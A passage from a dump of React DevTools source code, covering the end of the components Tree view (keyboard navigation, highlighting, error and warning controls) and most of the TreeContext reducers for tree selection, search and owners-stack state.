element.isCollapsed) {\n                store.toggleIsCollapsed(element.id, false);\n              } else {\n                dispatch({type: 'SELECT_CHILD_ELEMENT_IN_TREE'});\n              }\n            }\n          }\n          break;\n        case 'ArrowUp':\n          event.preventDefault();\n          if (event.altKey) {\n            dispatch({type: 'SELECT_PREVIOUS_SIBLING_IN_TREE'});\n          } else {\n            dispatch({type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE'});\n          }\n          break;\n        default:\n          return;\n      }\n      setIsNavigatingWithKeyboard(true);\n    };\n\n    // We used to listen to at the document level for this event.\n    // That allowed us to listen to up/down arrow key events while another section\n    // of DevTools (like the search input) was focused.\n    // This was a minor UX positive.\n    //\n    // (We had to use ownerDocument rather than document for this, because the\n    // DevTools extension renders the Components and Profiler tabs into portals.)\n    //\n    // This approach caused a problem though: it meant that a react-devtools-inline\n    // instance could steal (and prevent/block) keyboard events from other JavaScript\n    // on the page– which could even include other react-devtools-inline instances.\n    // This is a potential major UX negative.\n    //\n    // Given the above trade offs, we now listen on the root of the Tree itself.\n    const container = treeRef.current;\n    container.addEventListener('keydown', handleKeyDown);\n\n    return () => {\n      container.removeEventListener('keydown', handleKeyDown);\n    };\n  }, [dispatch, inspectedElementID, store]);\n\n  // Focus management.\n  const handleBlur = useCallback(() => setTreeFocused(false), []);\n  const handleFocus = useCallback(() => setTreeFocused(true), []);\n\n  const changeActivitySliceAction = useChangeActivitySliceAction();\n  const changeOwnerAction = useChangeOwnerAction();\n  const handleKeyPress = useCallback(\n    (event: $FlowFixMe) => {\n      switch (event.key) {\n        case 'Enter':\n        case ' ':\n          if (inspectedElementID !== null) {\n            const inspectedElement = store.getElementByID(inspectedElementID);\n            startTransition(() => {\n              if (\n                inspectedElement !== null &&\n                inspectedElement.type === ElementTypeActivity\n              ) {\n                changeActivitySliceAction(inspectedElementID);\n              } else {\n                changeOwnerAction(inspectedElementID);\n              }\n            });\n          }\n          break;\n        default:\n          break;\n      }\n    },\n    [dispatch, inspectedElementID],\n  );\n\n  // If we switch the selected element while using the keyboard,\n  // start highlighting it in the DOM instead of the last hovered node.\n  const searchRef = useRef({searchIndex, searchResults});\n  useEffect(() => {\n    let didSelectNewSearchResult = false;\n    if (\n      searchRef.current.searchIndex !== searchIndex ||\n      searchRef.current.searchResults !== searchResults\n    ) {\n      searchRef.current.searchIndex = searchIndex;\n      searchRef.current.searchResults = searchResults;\n      didSelectNewSearchResult = true;\n    }\n    if (isNavigatingWithKeyboard || didSelectNewSearchResult) {\n      if (inspectedElementID !== null) {\n        highlightHostInstance(inspectedElementID);\n      } else {\n        clearHighlightHostInstance();\n      }\n    }\n  }, [\n    bridge,\n    isNavigatingWithKeyboard,\n    highlightHostInstance,\n    searchIndex,\n    searchResults,\n    inspectedElementID,\n  ]);\n\n  // Highlight last hovered element.\n  const handleElementMouseEnter = useCallback(\n    (id: $FlowFixMe) => {\n      // Ignore hover while we're navigating with keyboard.\n      // This avoids flicker from the hovered nodes under the mouse.\n      if (!isNavigatingWithKeyboard) {\n        highlightHostInstance(id);\n      }\n    },\n    [isNavigatingWithKeyboard, highlightHostInstance],\n  );\n\n  const handleMouseMove = useCallback(() => {\n    // We started using the mouse again.\n    // This will enable hover styles in individual rows.\n    setIsNavigatingWithKeyboard(false);\n  }, []);\n\n  const handleMouseLeave = clearHighlightHostInstance;\n\n  // Let react-window know to re-render any time the underlying tree data changes.\n  // This includes the owner context, since it controls a filtered view of the tree.\n  const itemData = useMemo<ItemData>(\n    () => ({\n      isNavigatingWithKeyboard,\n      onElementMouseEnter: handleElementMouseEnter,\n      treeFocused,\n      calculateElementOffset,\n    }),\n    [\n      isNavigatingWithKeyboard,\n      handleElementMouseEnter,\n      treeFocused,\n      calculateElementOffset,\n    ],\n  );\n\n  const itemKey = useCallback(\n    (index: number) => store.getElementIDAtIndex(index),\n    [store],\n  );\n\n  const handlePreviousErrorOrWarningClick = React.useCallback(() => {\n    dispatch({type: 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE'});\n  }, []);\n\n  const handleNextErrorOrWarningClick = React.useCallback(() => {\n    dispatch({type: 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE'});\n  }, []);\n\n  const errorsOrWarningsSubscription = useMemo(\n    () => ({\n      getCurrentValue: () => ({\n        errors: store.componentWithErrorCount,\n        warnings: store.componentWithWarningCount,\n      }),\n      subscribe: (callback: Function) => {\n        store.addListener('mutated', callback);\n        return () => store.removeListener('mutated', callback);\n      },\n    }),\n    [store],\n  );\n  const {errors, warnings} = useSubscription(errorsOrWarningsSubscription);\n\n  const clearErrorsAndWarnings = () => {\n    clearErrorsAndWarningsAPI({bridge, store});\n  };\n\n  const zeroElementsNotice = (\n    <div className={styles.ZeroElementsNotice}>\n      <p>Loading React Element Tree...</p>\n      <p>\n        If this seems stuck, please follow the{' '}\n        <a\n          className={styles.Link}\n          href=\"https://github.com/facebook/react/blob/main/packages/react-devtools/README.md#the-react-tab-shows-no-components\"\n          target=\"_blank\">\n          troubleshooting instructions\n        </a>\n        .\n      </p>\n    </div>\n  );\n\n  return (\n    <TreeFocusedContext.Provider value={treeFocused}>\n      <div className={styles.Tree} ref={treeRef}>\n        <div className={styles.SearchInput}>\n          {store.supportsClickToInspect && (\n            <Fragment>\n              <InspectHostNodesToggle />\n              <div className={styles.VRule} />\n            </Fragment>\n          )}\n          <Suspense fallback={<Loading />}>\n            {ownerID !== null ? (\n              <OwnersStack />\n            ) : activityID !== null ? (\n              <ActivitySlice />\n            ) : (\n              <ComponentSearchInput />\n            )}\n          </Suspense>\n          {ownerID === null && (errors > 0 || warnings > 0) && (\n            <React.Fragment>\n              <div className={styles.VRule} />\n              {errors > 0 && (\n                <div className={styles.IconAndCount}>\n                  <Icon className={styles.ErrorIcon} type=\"error\" />\n                  {errors}\n                </div>\n              )}\n              {warnings > 0 && (\n                <div className={styles.IconAndCount}>\n                  <Icon className={styles.WarningIcon} type=\"warning\" />\n                  {warnings}\n                </div>\n              )}\n              <Button\n                onClick={handlePreviousErrorOrWarningClick}\n                title=\"Scroll to previous error or warning\">\n                <ButtonIcon type=\"up\" />\n              </Button>\n              <Button\n                onClick={handleNextErrorOrWarningClick}\n                title=\"Scroll to next error or warning\">\n                <ButtonIcon type=\"down\" />\n              </Button>\n              <Button\n                onClick={clearErrorsAndWarnings}\n                title=\"Clear all errors and warnings\">\n                <ButtonIcon type=\"clear\" />\n              </Button>\n            </React.Fragment>\n          )}\n          {!hideSettings && (\n            <Fragment>\n              <div className={styles.VRule} />\n              <SettingsModalContextToggle />\n            </Fragment>\n          )}\n        </div>\n        {numElements === 0 ? (\n          zeroElementsNotice\n        ) : (\n          <div\n            className={styles.AutoSizerWrapper}\n            onBlur={handleBlur}\n            onFocus={handleFocus}\n            onKeyPress={handleKeyPress}\n            onMouseMove={handleMouseMove}\n            onMouseLeave={handleMouseLeave}\n            ref={focusTargetRef}\n            tabIndex={0}>\n            <AutoSizer>\n              {({height, width}) => (\n                <FixedSizeList\n                  className={styles.List}\n                  height={height}\n                  initialScrollOffset={calculateInitialScrollOffset(\n                    inspectedElementIndex,\n                    lineHeight,\n                  )}\n                  innerElementType={InnerElementType}\n                  itemCount={numElements}\n                  itemData={itemData}\n                  itemKey={itemKey}\n                  itemSize={lineHeight}\n                  outerRef={setListDOMElementRef}\n                  overscanCount={10}\n                  width={width}>\n                  {ComponentsTreeElement}\n                </FixedSizeList>\n              )}\n            </AutoSizer>\n          </div>\n        )}\n      </div>\n    </TreeFocusedContext.Provider>\n  );\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction InnerElementType({children, style}) {\n  const store = useContext(StoreContext);\n\n  const {height} = style;\n  const maxDepth = store.getMaximumRecordedDepth();\n  // Maximum possible indentation plus some arbitrary offset for the node content.\n  const width = calculateElementOffset(maxDepth) + 500;\n\n  return (\n    <div className={styles.InnerElementType} style={{height, width}}>\n      {children}\n\n      <VerticalDelimiter />\n    </div>\n  );\n}\n\nfunction VerticalDelimiter() {\n  const store = useContext(StoreContext);\n  const {ownerID, inspectedElementIndex} = useContext(TreeStateContext);\n  const {lineHeight} = useContext(SettingsContext);\n\n  if (ownerID != null || inspectedElementIndex == null) {\n    return null;\n  }\n\n  const element = store.getElementAtIndex(inspectedElementIndex);\n  if (element == null) {\n    return null;\n  }\n  const indexOfLowestDescendant =\n    store.getIndexOfLowestDescendantElement(element);\n  if (indexOfLowestDescendant == null) {\n    return null;\n  }\n\n  const delimiterLeft = calculateElementOffset(element.depth) + 12;\n  const delimiterTop = (inspectedElementIndex + 1) * lineHeight;\n  const delimiterHeight =\n    (indexOfLowestDescendant + 1) * lineHeight - delimiterTop;\n\n  return (\n    <div\n      className={styles.VerticalDelimiter}\n      style={{\n        left: delimiterLeft,\n        top: delimiterTop,\n        height: delimiterHeight,\n      }}\n    />\n  );\n}\n\nfunction Loading() {\n  return <div className={styles.Loading}>Loading...</div>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/TreeContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This context combines tree/selection state, search, and the owners stack.\n// These values are managed together because changes in one often impact the others.\n// Combining them enables us to avoid cascading renders.\n//\n// Changes to search state may impact tree state.\n// For example, updating the selected search result also updates the tree's selected value.\n// Search does not fundamentally change the tree though.\n// It is also possible to update the selected tree value independently.\n//\n// Changes to owners state mask search and tree values.\n// When owners stack is not empty, search is temporarily disabled,\n// and tree values (e.g. num elements, selected element) are masked.\n// Both tree and search values are restored when the owners stack is cleared.\n//\n// For this reason, changes to the tree context are processed in sequence: tree -> search -> owners\n// This enables each section to potentially override (or mask) previous values.\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  useContext,\n  useEffect,\n  useLayoutEffect,\n  useMemo,\n  useReducer,\n  useRef,\n  startTransition,\n} from 'react';\nimport {createRegExp} from '../utils';\nimport {StoreContext} from '../context';\nimport Store from '../../store';\n\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\n\nexport type StateContext = {\n  // Tree\n  numElements: number,\n  ownerSubtreeLeafElementID: number | null,\n\n  // Search\n  searchIndex: number | null,\n  searchResults: Array<number>,\n  searchText: string,\n\n  // Owners\n  ownerID: number | null,\n  ownerFlatTree: Array<Element> | null,\n\n  // Activity slice\n  activityID: Element['id'] | null,\n  activities: $ReadOnlyArray<{id: Element['id'], depth: number}>,\n\n  // Inspection element panel\n  inspectedElementID: number | null,\n  inspectedElementIndex: number | null,\n};\n\ntype ACTION_GO_TO_NEXT_SEARCH_RESULT = {\n  type: 'GO_TO_NEXT_SEARCH_RESULT',\n};\ntype ACTION_GO_TO_PREVIOUS_SEARCH_RESULT = {\n  type: 'GO_TO_PREVIOUS_SEARCH_RESULT',\n};\ntype ACTION_HANDLE_STORE_MUTATION = {\n  type: 'HANDLE_STORE_MUTATION',\n  payload: [Array<number>, Map<number, number>, null | Element['id']],\n};\ntype ACTION_RESET_OWNER_STACK = {\n  type: 'RESET_OWNER_STACK',\n};\ntype ACTION_SELECT_CHILD_ELEMENT_IN_TREE = {\n  type: 'SELECT_CHILD_ELEMENT_IN_TREE',\n};\ntype ACTION_SELECT_ELEMENT_AT_INDEX = {\n  type: 'SELECT_ELEMENT_AT_INDEX',\n  payload: number | null,\n};\ntype ACTION_SELECT_ELEMENT_BY_ID = {\n  type: 'SELECT_ELEMENT_BY_ID',\n  payload: number | null,\n};\ntype ACTION_SELECT_NEXT_ELEMENT_IN_TREE = {\n  type: 'SELECT_NEXT_ELEMENT_IN_TREE',\n};\ntype ACTION_SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE = {\n  type: 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE',\n};\ntype ACTION_SELECT_NEXT_SIBLING_IN_TREE = {\n  type: 'SELECT_NEXT_SIBLING_IN_TREE',\n};\ntype ACTION_SELECT_OWNER = {\n  type: 'SELECT_OWNER',\n  payload: number,\n};\ntype ACTION_SELECT_PARENT_ELEMENT_IN_TREE = {\n  type: 'SELECT_PARENT_ELEMENT_IN_TREE',\n};\ntype ACTION_SELECT_PREVIOUS_ELEMENT_IN_TREE = {\n  type: 'SELECT_PREVIOUS_ELEMENT_IN_TREE',\n};\ntype ACTION_SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE = {\n  type: 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE',\n};\ntype ACTION_SELECT_PREVIOUS_SIBLING_IN_TREE = {\n  type: 'SELECT_PREVIOUS_SIBLING_IN_TREE',\n};\ntype ACTION_SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE = {\n  type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE',\n};\ntype ACTION_SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE = {\n  type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE',\n};\ntype ACTION_SET_SEARCH_TEXT = {\n  type: 'SET_SEARCH_TEXT',\n  payload: string,\n};\n\ntype Action =\n  | ACTION_GO_TO_NEXT_SEARCH_RESULT\n  | ACTION_GO_TO_PREVIOUS_SEARCH_RESULT\n  | ACTION_HANDLE_STORE_MUTATION\n  | ACTION_RESET_OWNER_STACK\n  | ACTION_SELECT_CHILD_ELEMENT_IN_TREE\n  | ACTION_SELECT_ELEMENT_AT_INDEX\n  | ACTION_SELECT_ELEMENT_BY_ID\n  | ACTION_SELECT_NEXT_ELEMENT_IN_TREE\n  | ACTION_SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE\n  | ACTION_SELECT_NEXT_SIBLING_IN_TREE\n  | ACTION_SELECT_OWNER\n  | ACTION_SELECT_PARENT_ELEMENT_IN_TREE\n  | ACTION_SELECT_PREVIOUS_ELEMENT_IN_TREE\n  | ACTION_SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE\n  | ACTION_SELECT_PREVIOUS_SIBLING_IN_TREE\n  | ACTION_SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE\n  | ACTION_SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE\n  | ACTION_SET_SEARCH_TEXT;\n\nexport type DispatcherContext = (action: Action) => void;\n\nconst TreeStateContext: ReactContext<StateContext> =\n  createContext<StateContext>(((null: any): StateContext));\nTreeStateContext.displayName = 'TreeStateContext';\n\n// TODO: `dispatch` is an Action and should be named accordingly.\nconst TreeDispatcherContext: ReactContext<DispatcherContext> =\n  createContext<DispatcherContext>(((null: any): DispatcherContext));\nTreeDispatcherContext.displayName = 'TreeDispatcherContext';\n\ntype State = {\n  // Tree\n  numElements: number,\n  ownerSubtreeLeafElementID: number | null,\n\n  // Search\n  searchIndex: number | null,\n  searchResults: Array<number>,\n  searchText: string,\n\n  // Owners\n  ownerID: number | null,\n  ownerFlatTree: Array<Element> | null,\n\n  // Activity slice\n  activityID: Element['id'] | null,\n  activities: $ReadOnlyArray<{id: Element['id'], depth: number}>,\n\n  // Inspection element panel\n  inspectedElementID: number | null,\n  inspectedElementIndex: number | null,\n};\n\nfunction reduceTreeState(store: Store, state: State, action: Action): State {\n  let {\n    numElements,\n    ownerSubtreeLeafElementID,\n    inspectedElementID,\n    inspectedElementIndex,\n  } = state;\n  const ownerID = state.ownerID;\n\n  let lookupIDForIndex = true;\n\n  // Base tree should ignore selected element changes when the owner's tree is active.\n  if (ownerID === null) {\n    switch (action.type) {\n      case 'HANDLE_STORE_MUTATION':\n        numElements = store.numElements;\n\n        // If the currently-selected Element has been removed from the tree, update selection state.\n        const removedIDs = action.payload[1];\n        // Find the closest parent that wasn't removed during this batch.\n        // We deduce the parent-child mapping from removedIDs (id -> parentID)\n        // because by now it's too late to read them from the store.\n        while (\n          inspectedElementID !== null &&\n          removedIDs.has(inspectedElementID)\n        ) {\n          // $FlowExpectedError[incompatible-type]\n          inspectedElementID = removedIDs.get(inspectedElementID);\n        }\n        if (inspectedElementID === 0) {\n          // The whole root was removed.\n          inspectedElementIndex = null;\n        }\n        break;\n      case 'SELECT_CHILD_ELEMENT_IN_TREE':\n        ownerSubtreeLeafElementID = null;\n\n        if (inspectedElementIndex !== null) {\n          const inspectedElement = store.getElementAtIndex(\n            inspectedElementIndex,\n          );\n          if (\n            inspectedElement !== null &&\n            inspectedElement.children.length > 0 &&\n            !inspectedElement.isCollapsed\n          ) {\n            const firstChildID = inspectedElement.children[0];\n            const firstChildIndex = store.getIndexOfElementID(firstChildID);\n            if (firstChildIndex !== null) {\n              inspectedElementIndex = firstChildIndex;\n            }\n          }\n        }\n        break;\n      case 'SELECT_ELEMENT_AT_INDEX':\n        ownerSubtreeLeafElementID = null;\n\n        inspectedElementIndex = (action: ACTION_SELECT_ELEMENT_AT_INDEX)\n          .payload;\n        break;\n      case 'SELECT_ELEMENT_BY_ID':\n        ownerSubtreeLeafElementID = null;\n\n        // Skip lookup in this case; it would be redundant.\n        // It might also cause problems if the specified element was inside of a (not yet expanded) subtree.\n        lookupIDForIndex = false;\n\n        inspectedElementID = (action: ACTION_SELECT_ELEMENT_BY_ID).payload;\n        inspectedElementIndex =\n          inspectedElementID === null\n            ? null\n            : store.getIndexOfElementID(inspectedElementID);\n        break;\n      case 'SELECT_NEXT_ELEMENT_IN_TREE':\n        ownerSubtreeLeafElementID = null;\n\n        if (\n          inspectedElementIndex === null ||\n          inspectedElementIndex + 1 >= numElements\n        ) {\n          inspectedElementIndex = 0;\n        } else {\n          inspectedElementIndex++;\n        }\n        break;\n      case 'SELECT_NEXT_SIBLING_IN_TREE':\n        ownerSubtreeLeafElementID = null;\n\n        if (inspectedElementIndex !== null) {\n          const selectedElement = store.getElementAtIndex(\n            ((inspectedElementIndex: any): number),\n          );\n          if (selectedElement !== null && selectedElement.parentID !== 0) {\n            const parent = store.getElementByID(selectedElement.parentID);\n            if (parent !== null) {\n              const {children} = parent;\n              const selectedChildIndex = children.indexOf(selectedElement.id);\n              const nextChildID =\n                selectedChildIndex < children.length - 1\n                  ? children[selectedChildIndex + 1]\n                  : children[0];\n              inspectedElementIndex = store.getIndexOfElementID(nextChildID);\n            }\n          }\n        }\n        break;\n      case 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE':\n        if (inspectedElementIndex !== null) {\n          if (\n            ownerSubtreeLeafElementID !== null &&\n            ownerSubtreeLeafElementID !== inspectedElementID\n          ) {\n            const leafElement = store.getElementByID(ownerSubtreeLeafElementID);\n            if (leafElement !== null) {\n              let currentElement: null | Element = leafElement;\n              while (currentElement !== null) {\n                if (currentElement.ownerID === inspectedElementID) {\n                  inspectedElementIndex = store.getIndexOfElementID(\n                    currentElement.id,\n                  );\n                  break;\n                } else if (currentElement.ownerID !== 0) {\n                  currentElement = store.getElementByID(currentElement.ownerID);\n                }\n              }\n            }\n          }\n        }\n        break;\n      case 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE':\n        if (inspectedElementIndex !== null) {\n          if (ownerSubtreeLeafElementID === null) {\n            // If this is the first time we're stepping through the owners tree,\n            // pin the current component as the owners list leaf.\n            // This will enable us to step back down to this component.\n            ownerSubtreeLeafElementID = inspectedElementID;\n          }\n\n          const selectedElement = store.getElementAtIndex(\n            ((inspectedElementIndex: any): number),\n          );\n          if (selectedElement !== null && selectedElement.ownerID !== 0) {\n            const ownerIndex = store.getIndexOfElementID(\n              selectedElement.ownerID,\n            );\n            if (ownerIndex !== null) {\n              inspectedElementIndex = ownerIndex;\n            }\n          }\n        }\n        break;\n      case 'SELECT_PARENT_ELEMENT_IN_TREE':\n        ownerSubtreeLeafElementID = null;\n\n        if (inspectedElementIndex !== null) {\n          const selectedElement = store.getElementAtIndex(\n            ((inspectedElementIndex: any): number),\n          );\n          if (selectedElement !== null && selectedElement.parentID !== 0) {\n            const parentIndex = store.getIndexOfElementID(\n              selectedElement.parentID,\n            );\n            if (parentIndex !== null) {\n              inspectedElementIndex = parentIndex;\n            }\n          }\n        }\n        break;\n      case 'SELECT_PREVIOUS_ELEMENT_IN_TREE':\n        ownerSubtreeLeafElementID = null;\n\n        if (inspectedElementIndex === null || inspectedElementIndex === 0) {\n          inspectedElementIndex = numElements - 1;\n        } else {\n          inspectedElementIndex--;\n        }\n        break;\n      case 'SELECT_PREVIOUS_SIBLING_IN_TREE':\n        ownerSubtreeLeafElementID = null;\n\n        if (inspectedElementIndex !== null) {\n          const selectedElement = store.getElementAtIndex(\n            ((inspectedElementIndex: any): number),\n          );\n          if (selectedElement !== null && selectedElement.parentID !== 0) {\n            const parent = store.getElementByID(selectedElement.parentID);\n            if (parent !== null) {\n              const {children} = parent;\n              const selectedChildIndex = children.indexOf(selectedElement.id);\n              const nextChildID =\n                selectedChildIndex > 0\n                  ? children[selectedChildIndex - 1]\n                  : children[children.length - 1];\n              inspectedElementIndex = store.getIndexOfElementID(nextChildID);\n            }\n          }\n        }\n        break;\n      case 'SELECT_PREVIOUS_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE': {\n        const elementIndicesWithErrorsOrWarnings =\n          store.getElementsWithErrorsAndWarnings();\n        if (elementIndicesWithErrorsOrWarnings.length === 0) {\n          return state;\n        }\n\n        let flatIndex = 0;\n        if (inspectedElementIndex !== null) {\n          // Resume from the current position in the list.\n          // Otherwise step to the previous item, relative to the current selection.\n          for (\n            let i = elementIndicesWithErrorsOrWarnings.length - 1;\n            i >= 0;\n            i--\n          ) {\n            const {index} = elementIndicesWithErrorsOrWarnings[i];\n            if (index >= inspectedElementIndex) {\n              flatIndex = i;\n            } else {\n              break;\n            }\n          }\n        }\n\n        let prevEntry;\n        if (flatIndex === 0) {\n          prevEntry =\n            elementIndicesWithErrorsOrWarnings[\n              elementIndicesWithErrorsOrWarnings.length - 1\n            ];\n          inspectedElementID = prevEntry.id;\n          inspectedElementIndex = prevEntry.index;\n        } else {\n          prevEntry = elementIndicesWithErrorsOrWarnings[flatIndex - 1];\n          inspectedElementID = prevEntry.id;\n          inspectedElementIndex = prevEntry.index;\n        }\n\n        lookupIDForIndex = false;\n        break;\n      }\n      case 'SELECT_NEXT_ELEMENT_WITH_ERROR_OR_WARNING_IN_TREE': {\n        const elementIndicesWithErrorsOrWarnings =\n          store.getElementsWithErrorsAndWarnings();\n        if (elementIndicesWithErrorsOrWarnings.length === 0) {\n          return state;\n        }\n\n        let flatIndex = -1;\n        if (inspectedElementIndex !== null) {\n          // Resume from the current position in the list.\n          // Otherwise step to the next item, relative to the current selection.\n          for (let i = 0; i < elementIndicesWithErrorsOrWarnings.length; i++) {\n            const {index} = elementIndicesWithErrorsOrWarnings[i];\n            if (index <= inspectedElementIndex) {\n              flatIndex = i;\n            } else {\n              break;\n            }\n          }\n        }\n\n        let nextEntry;\n        if (flatIndex >= elementIndicesWithErrorsOrWarnings.length - 1) {\n          nextEntry = elementIndicesWithErrorsOrWarnings[0];\n          inspectedElementID = nextEntry.id;\n          inspectedElementIndex = nextEntry.index;\n        } else {\n          nextEntry = elementIndicesWithErrorsOrWarnings[flatIndex + 1];\n          inspectedElementID = nextEntry.id;\n          inspectedElementIndex = nextEntry.index;\n        }\n\n        lookupIDForIndex = false;\n        break;\n      }\n      default:\n        // React can bailout of no-op updates.\n        return state;\n    }\n  }\n\n  // Keep selected item ID and index in sync.\n  if (\n    lookupIDForIndex &&\n    inspectedElementIndex !== state.inspectedElementIndex\n  ) {\n    if (inspectedElementIndex === null) {\n      inspectedElementID = null;\n    } else {\n      inspectedElementID = store.getElementIDAtIndex(\n        ((inspectedElementIndex: any): number),\n      );\n    }\n  }\n\n  return {\n    ...state,\n\n    numElements,\n    ownerSubtreeLeafElementID,\n    inspectedElementIndex,\n    inspectedElementID,\n  };\n}\n\nfunction reduceSearchState(store: Store, state: State, action: Action): State {\n  let {\n    searchIndex,\n    searchResults,\n    searchText,\n    inspectedElementID,\n    inspectedElementIndex,\n  } = state;\n  const ownerID = state.ownerID;\n\n  const prevSearchIndex = searchIndex;\n  const prevSearchText = searchText;\n  const numPrevSearchResults = searchResults.length;\n\n  // We track explicitly whether search was requested because\n  // we might want to search even if search index didn't change.\n  // For example, if you press \"next result\" on a search with a single\n  // result but a different current selection, we'll set this to true.\n  let didRequestSearch = false;\n\n  // Search isn't supported when the owner's tree is active.\n  if (ownerID === null) {\n    switch (action.type) {\n      case 'GO_TO_NEXT_SEARCH_RESULT':\n        if (numPrevSearchResults > 0) {\n          didRequestSearch = true;\n          searchIndex =\n            // $FlowFixMe[unsafe-addition] addition with possible null/undefined value\n            searchIndex + 1 < numPrevSearchResults ? searchIndex + 1 : 0;\n        }\n        break;\n      case 'GO_TO_PREVIOUS_SEARCH_RESULT':\n        if (numPrevSearchResults > 0) {\n          didRequestSearch = true;\n          searchIndex =\n            ((searchIndex: any): number) > 0\n              ? ((searchIndex: any): number) - 1\n              : numPrevSearchResults - 1;\n        }\n        break;\n      case 'HANDLE_STORE_MUTATION':\n        if (searchText !== '') {\n          const [addedElementIDs, removedElementIDs] =\n            (action: ACTION_HANDLE_STORE_MUTATION).payload;\n\n          removedElementIDs.forEach((parentID, id) => {\n            // Prune this item from the search results.\n            const index = searchResults.indexOf(id);\n            if (index >= 0) {\n              searchResults = searchResults\n                .slice(0, index)\n                .concat(searchResults.slice(index + 1));\n\n              // If the results are now empty, also deselect things.\n              if (searchResults.length === 0) {\n                searchIndex = null;\n              } else if (((searchIndex: any): number) >= searchResults.length) {\n                searchIndex = searchResults.length - 1;\n              }\n            }\n          });\n\n          addedElementIDs.forEach(id => {\n            const element = ((store.getElementByID(id): any): Element);\n\n            // It's possible that multiple tree operations will fire before this action has run.\n            // So it's important to check for elements that may have been added and then removed.\n            if (element !== null) {\n              const {displayName} = element;\n\n              // Add this item to the search results if it matches.\n              const regExp = createRegExp(searchText);\n              if (displayName !== null && regExp.test(displayName)) {\n                const newElementIndex = ((store.getIndexOfElementID(\n                  id,\n                ): any): number);\n\n                let foundMatch = false;\n                for (let index = 0; index < searchResults.length; index++) {\n                  const resultID = searchResults[index];\n                  if (\n                    newElementIndex <\n                    ((store.getIndexOfElementID(resultID): any): number)\n                  ) {\n                    foundMatch = true;\n                    searchResults = searchResults\n                      .slice(0, index)\n                      .concat(resultID)\n                      .concat(searchResults.slice(index));\n                    break;\n                  }\n                }\n                if (!foundMatch) {\n                  searchResults = searchResults.concat(id);\n                }\n\n                searchIndex = searchIndex === null ? 0 : searchIndex;\n              }\n            }\n          });\n        }\n        break;\n      case 'SET_SEARCH_TEXT':\n        searchIndex = null;\n        searchResults = [];\n        searchText = (action: ACTION_SET_SEARCH_TEXT).payload;\n\n        if (searchText !== '') {\n          const regExp = createRegExp(searchText);\n          store.roots.forEach(rootID => {\n            recursivelySearchTree(store, rootID, regExp, searchResults);\n          });\n          if (searchResults.length > 0) {\n            if (prevSearchIndex === null) {\n              if (inspectedElementIndex !== null) {\n                searchIndex = getNearestResultIndex(\n                  store,\n                  searchResults,\n                  inspectedElementIndex,\n                );\n              } else {\n                searchIndex = 0;\n              }\n            } else {\n              searchIndex = Math.min(\n                ((prevSearchIndex: any): number),\n                searchResults.length - 1,\n              );\n            }\n          }\n        }\n        break;\n      default:\n        // React can bailout of no-op updates.\n        return state;\n    }\n  }\n\n  if (searchText !== prevSearchText) {\n    const newSearchIndex = searchResults.indexOf(inspectedElementID);\n    if (newSearchIndex === -1) {\n      // Only move the selection if the new query\n      // doesn't match the current selection anymore.\n      didRequestSearch = true;\n    } else {\n      // Selected item still matches the new search query.\n      // Adjust the index to reflect its position in new results.\n      searchIndex = newSearchIndex;\n    }\n  }\n  if (didRequestSearch && searchIndex !== null) {\n    inspectedElementID = ((searchResults[searchIndex]: any): number);\n    inspectedElementIndex = store.getIndexOfElementID(\n      ((inspectedElementID: any): number),\n    );\n  }\n\n  return {\n    ...state,\n\n    inspectedElementID,\n    inspectedElementIndex,\n\n    searchIndex,\n    searchResults,\n    searchText,\n  };\n}\n\nfunction reduceOwnersState(store: Store, state: State, action: Action): State {\n  let {\n    numElements,\n    ownerID,\n    ownerFlatTree,\n    inspectedElementID,\n    inspectedElementIndex,\n  } = state;\n  const {searchIndex, searchResults, searchText} = state;\n\n  let prevInspectedElementIndex = inspectedElementIndex;\n\n  switch (action.type) {\n    case 'HANDLE_STORE_MUTATION':\n      if (ownerID !== null) {\n        if (!store.containsElement(ownerID)) {\n          ownerID = null;\n          ownerFlatTree = null;\n          prevInspectedElementIndex = null;\n        } else {\n          ownerFlatTree = store.getOwnersListForElement(ownerID);\n          if (inspectedElementID !== null) {\n            // Mutation might have caused the index of this ID to shift.\n            prevInspectedElementIndex = ownerFlatTree.findIndex(\n              element => element.id === inspectedElementID,\n            );\n          }\n        }\n      } else {\n        if (inspectedElementID !== null) {\n          // Mutation might have caused the index of this ID to shift.\n          inspectedElementIndex = store.getIndexOfElementID(inspectedElementID);\n        }\n      }\n      if (inspectedElementIndex === -1) {\n        // If we couldn't find this ID after mutation, unselect it.\n        inspectedElementIndex = null;\n        inspectedElementID = null;\n      }\n      break;\n    case 'RESET_OWNER_STACK':\n      ownerID = null;\n      ownerFlatTree = null;\n      inspectedElementIndex =\n        inspectedElementID !== null\n          ? store.getIndexOfElementID(inspectedElementID)\n          : null;\n      break;\n    case 'SELECT_ELEMENT_AT_INDEX':\n      if (ownerFlatTree !== null) {\n        inspectedElementIndex = (action: ACTION_SELECT_ELEMENT_AT_INDEX)\n          .payload;\n      }\n      break;\n    case 'SELECT_ELEMENT_BY_ID':\n      if 